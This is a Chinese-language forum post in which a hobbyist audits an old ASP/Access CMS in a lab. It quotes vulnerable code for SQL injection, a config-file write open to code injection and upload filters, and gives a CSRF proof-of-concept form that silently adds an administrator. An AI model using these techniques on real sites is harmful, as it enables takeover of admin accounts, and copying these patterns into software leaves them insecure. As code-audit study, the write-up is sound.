前言
第一次接触asp的代码,听说虽然是很老了,但还是有点使用量,便拉了一个简单的学习一下,大佬勿喷,毕竟我只是个业余,纯粹兴趣爱好而已。
正文
首先了解了一下asp、vbs和ado,然后就直接上手了,环境用的win7 iis,源码是asp+access(源码是比较老了)

重要目录:admin后台、editor某版本编辑器、inc配置及一些通用功能函数、uploadfile上传文件地址、xydata数据库文件地址、剩下就是前台的一些.asp展示页面
一、前台
首先

这些前台怎么就那么像当初我刚接触的sqli呢,

<%
id=request.QueryString("id")
if id="" or not isnumeric(id) then
Response.Write "<script>alert('参数错误!');history.go(-1);</script>" 
Response.End()
end if
set rs=server.createobject("adodb.recordset") 
exec="select * from news where id="& id
rs.open exec,conn,1,1
if rs.eof then
response.Write "<div style=""padding:10px"">没有相关新闻信息!</a>"
response.End()
end if
%>

不过id通过isnumeric()验证了一次,肯定是没有那么简单的注入呢。
二、后台
1.代码执行
也算是配置插马

这里可以设置一些配置信息

<% 
if Request.QueryString("act")="ok" then
set fso=Server.CreateObject("Scripting.FileSystemObject")
set hf=fso.CreateTextFile(Server.mappath("../inc/config.asp"),true)
hf.write "<" & "%" & vbcrlf
hf.write "Const wzname=" & chr(34) & trim(request.form("wzname")) & chr(34) & "'网站名称" & vbcrlf
hf.write "Const descriptions=" & chr(34) & trim(request.form("descriptions")) & chr(34) & "'网站描述" & vbcrlf
hf.write "Const keywords=" & chr(34) & trim(request.form("keywords")) & chr(34) & "'网站关键字" & vbcrlf
hf.write "Const wzurl=" & chr(34) & trim(request.form("wzurl")) & chr(34) & "'网站网址" & vbcrlf
hf.write "Const wzlogo=" & chr(34) & trim(request.form("wzlogo")) & chr(34) & "'网站LOGO图片路径" & vbcrlf
hf.write "Const icp=" & chr(34) & trim(request.form("icp")) & chr(34) & "'网址备案号" & vbcrlf
hf.write "Const managename=" & chr(34) & trim(request.form("managename")) & chr(34) & "'网站联系人" & vbcrlf
hf.write "Const email=" & chr(34) & trim(request.form("email")) & chr(34) & "'联系邮箱" & vbcrlf
hf.write "Const telnum=" & chr(34) & trim(request.form("telnum")) & chr(34) & "'联系电话" & vbcrlf
hf.write "Const phonenum=" & chr(34) & trim(request.form("phonenum")) & chr(34) & "'联系手机" & vbcrlf
hf.write "Const faxnum=" & chr(34) & trim(request.form("faxnum")) & chr(34) & "'传真" & vbcrlf
hf.write "Const msnnum=" & chr(34) & trim(request.form("msnnum")) & chr(34) & "'联系QQ" & vbcrlf
hf.write "Const qqnum1=" & chr(34) & trim(request.form("qqnum1")) & chr(34) & "'联系QQ" & vbcrlf
hf.write "Const qqnum2=" & chr(34) & trim(request.form("qqnum2")) & chr(34) & "'联系QQ" & vbcrlf
hf.write "Const qqnum3=" & chr(34) & trim(request.form("qqnum3")) & chr(34) & "'联系QQ" & vbcrlf
hf.write "Const qqnum4=" & chr(34) & trim(request.form("qqnum4")) & chr(34) & "'联系QQ" & vbcrlf
hf.write "Const sina_wb=" & chr(34) & trim(request.form("sina_wb")) & chr(34) & "'联系QQ" & vbcrlf
hf.write "Const qq_wb=" & chr(34) & trim(request.form("qq_wb")) & chr(34) & "'联系QQ" & vbcrlf
hf.write "Const address=" & chr(34) & trim(request.form("address")) & chr(34) & "'联系地址" & vbcrlf
hf.write "Const gbook_sh=" & chr(34) & trim(request.form("gbook_sh")) & chr(34) & "'在线咨询是否审核:0-不审核;1-审核。" & vbcrlf
hf.write "Const on_run=" & chr(34) & trim(request.form("on_run")) & chr(34) & "'网站是否关闭:0-开放;1-关闭。" & vbcrlf
hf.write "Const off_dc=" & chr(34) & trim(request.form("off_dc")) & chr(34) & "'网站关闭说明" & vbcrlf
hf.write "%" & ">"
hf.close
set hf=nothing
set fso=Nothing
response.Write("<script>alert('网站基本设置更新成功!');window.location.href='admin_setup.asp';</script>")
End If
%>

通过表单获取,这里可以直接写入。
2.sqli
这里有多处,但是都大同小异,
edit_team.asp

<!--#include file="../xyconn.asp" -->
<!--#include file="seeion.asp"-->
<% 
exec="select * from [xyteam] where id="& request.QueryString("id") 
set rsa=server.createobject("adodb.recordset") 
rsa.open exec,conn,1,1 
%>

id直接拼接,顺便提一下整套源码鉴权是通过seeion.asp实现(单词拼错了)

3.csrf
举添加管理员的例子,可能是因为老站了
直接通过请求包构造poc

<html>
  <body>
    <form action="http://192.168.87.133:8080/admin/admin_manage.asp?act=add" method="POST">
      <input type="hidden" name="admin" value="test" />
      <input type="hidden" name="password" value="test" />
      <input type="hidden" name="password3" value="test" />
      <input type="hidden" name="button" value="Ìá&#189;&#187;Êý&#190;Ý" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

在管理员不知情的情况下添加。
4.文件相关操作
通过查询,源码里用了kindeditor,且版本存在上传html文件,在upload_json.asp中确实也能看到,

'定义允许上传的文件扩展名
imageExtStr = "gif|jpg|jpeg|png|bmp"
flashExtStr = "swf|flv"
mediaExtStr = "swf|flv|mp3|wav|wma|wmv|mid|avi|mpg|asf|rm|rmvb"
fileExtStr = "doc|docx|xls|xlsx|ppt|htm|html|txt|zip|rar|gz|bz2"

另外就是,后台有两处上传接口,uploadfile.asp和uploadpic.asp(uploadpic.asp代码还写错了,得修改一下才能用),都调用upload.asp
upload.asp核心验证逻辑:

fileExt=lcase(right(file.filename,3))
const UpFileType="midi|mid|mpe|wma|avi|rm|mp3|gif|jpg|doc|xls|ppt|mp3|wma|asf|bmp|mid|aiff|arj|ram|rar|txt|wav|zip|png|psd|swf|flv|pdf"

  arrUpFileType=split(UpFileType,"|")
 for i=0 to ubound(arrUpFileType)
            if fileEXT=trim(arrUpFileType(i)) then
                EnableUpload=true
                exit for
            end if
 next
 if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" or fileEXT="js" or fileEXT="exe" or fileEXT="jsp" or fileEXT="php" then
            EnableUpload=false
 end if
 if EnableUpload=false then
            response.write "该文件类型不只允许上传 [ <a onclick=history.go(-1) style='cursor: hand'>重新上传</a> ]"
            response.end
 end if

获取文件名最右边三个字符作为后缀,先一次白名单,再一次黑名单,不在白名单就返回,看样子是不能绕过了,有师傅懂的可以教教我
后话
asp感觉跟php一样都是很难,对于我这种安全小白来说。

点击收藏 | 0 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖